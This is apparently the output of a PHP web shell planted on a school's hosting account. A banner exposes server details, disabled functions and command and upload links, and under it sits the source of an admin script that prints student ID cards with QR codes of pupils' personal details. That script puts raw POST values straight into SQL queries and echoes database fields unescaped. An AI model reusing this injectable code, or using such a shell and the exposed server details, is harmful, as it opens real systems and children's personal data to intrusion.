|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/back/../sale/../gsmps/as/../admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css">
<?php
include("../link/databaseconnection.php");
session_start();
$lg=$_SESSION['admin'];
// $class=$_POST['class'];
$session=$_POST['session'];
?>
<style>
@media print {
#div {
float: left;
column-gap: 10px;
margin-left:-5px;
}
#u {
text-transform:uppercase;
font-size:11px;
font-weight:bold;
}
.up {
font-size:11px;
text-transform:capitalize
}
position: relative;
text-align: center;
color: white;
#session {
color:blue;
}
#col{color:red}
#u{color:red!important;}
#fwidth{color:blue!important;}
#sch{color:red!important;}
#fwidth1{color:red!important;}
#class{color:blue!important;}
#se{color:blue!important;}
}
#u{color:red!important;}
#fwidth{color:blue!important;}
#class{color:blue!important;}
#sch{color:red!important;}
#fwidth1{color:red!important;}
#se{color:blue!important;}
#div {
float: left;
column-gap: 5px;
}
.top-left {
position: absolute;
top: 156px;
left: 19px;
font-size:11px;
font-weight:bold;
width:190px;
}
#pic {
position: absolute;
top: 70px;
left: 69px;
border-radius:50%;
}
#name {
position: absolute;
top: 165px;
text-align:center;
width:90%;
font-size:12px;
font-weight:bold;
}
#fname {
position: absolute;
top: 183px;
left: 38px;
font-size:10px;
}
#fwidth {
width:180px;
}
#class {
position: absolute;
top: 182px;
left: 32px;
font-size:10px;
}
#sch {
position: absolute;
top: 170px;
left: 168px;
font-size:12px;
font-weight:bold;
}
#se {
position: absolute;
top: 117px;
left: 165px;
font-size:10px;
font-weight:bold;
color:red;
transform: rotate(90deg);
}
#qr {
position: absolute;
top: 251px;
left: 25px;
}
#sign {
position: absolute;
top: 270px;
left: 135px;
}
#br {
top: 270px;
left: 135px;
}
</style>
</head>
<body>
<div class="container-fluid">
<div class="row">
<!--menu-->
<!--menu--close-->
<?php
$f = "0";
if(!file_exists($f)){
touch($f);
$handle = fopen($f, "w" ) ;
fwrite($handle,0) ;
fclose ($handle);
}
include('libs/phpqrcode/qrlib.php');
foreach($_POST['checklist'] as $val)
{
$sel="select * from registration where subject ='$val' and session='$session' and status='' and idcard='Yes'";
$res=mysqli_query($conn,$sel);
$s=1;
while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
$email = $row['application'];
$subject = $row['name'];
$father = $row['fname'];
$filename = $row['id'];
$class = $row['subject'];
$dob = $row['dob'];
$vill = $row['village'];
$mother=$row['mname'];
$dist = $row['dist'];
//$link = $cl;
$tempDir = 'temp/';
$r='Sr No : '.$email . ', Name : '.$subject .', Father : '.$father. ', Class : '.$class .', Add :'.$vill.' '. $dist ;
$codeContents = $r;
QRcode::png($codeContents, $tempDir.''.$filename.'.png', QR_ECLEVEL_L, 5);
?><?php if($row['picture']!=''){?><div class='col-sm-2' id='div' style='border-bottom: 30px solid white ;height:312px;width:226px;margin-top:60px'>
<img src='../images/id_gs.png' style='height:312px;width:226px'>
<img src='../code/img/<?php echo $row['picture'];?>' style='height:89px;width:88px'id='pic'>
<img src="temp/<?php echo $filename.'.png';?>" style='height:40px;width:40px' id='qr'>
<p id='se' class='c' style='color:blue'> <?php echo $email;?></p>
<p id='name' class='c'><span id='u'><?php echo $row['name'];?></span></p>
<div class='row' id='fname'>
<div class='col-sm-2' id='fwidth1'>F.NAME</div>
<div class='col-sm-10' id='fwidth'> : <?php echo substr($father,0,22);?></div>
<div class='col-sm-2' id='fwidth1'>DOB</div>
<div class='col-sm-10' id='fwidth'> : <?php echo substr($dob,0,22);?></div>
<div class='col-sm-2' id='fwidth1'>CLASS</div>
<div class='col-sm-10' id='fwidth'> : <?php echo substr($class,0,22);?></div>
<div class='col-sm-2' id='fwidth1'>MOBILE.</div>
<div class='col-sm-10' id='fwidth'> : <?php echo $row['mobile'];?></div>
<div class='col-sm-2' id='fwidth1'>ADD.</div>
<div class='col-sm-10' id='fwidth'> : <?php echo substr($vill,0,20);?></div>
<div class='col-sm-2'></div>
<div class='col-sm-10' id='fwidth'> <?php echo $row['dist'];?></div>
</div>
</div>
<?php if($s==10){?>
<span id='br'></span>
<?php
}
}
$s++;
}
}
?>
</div>
</html>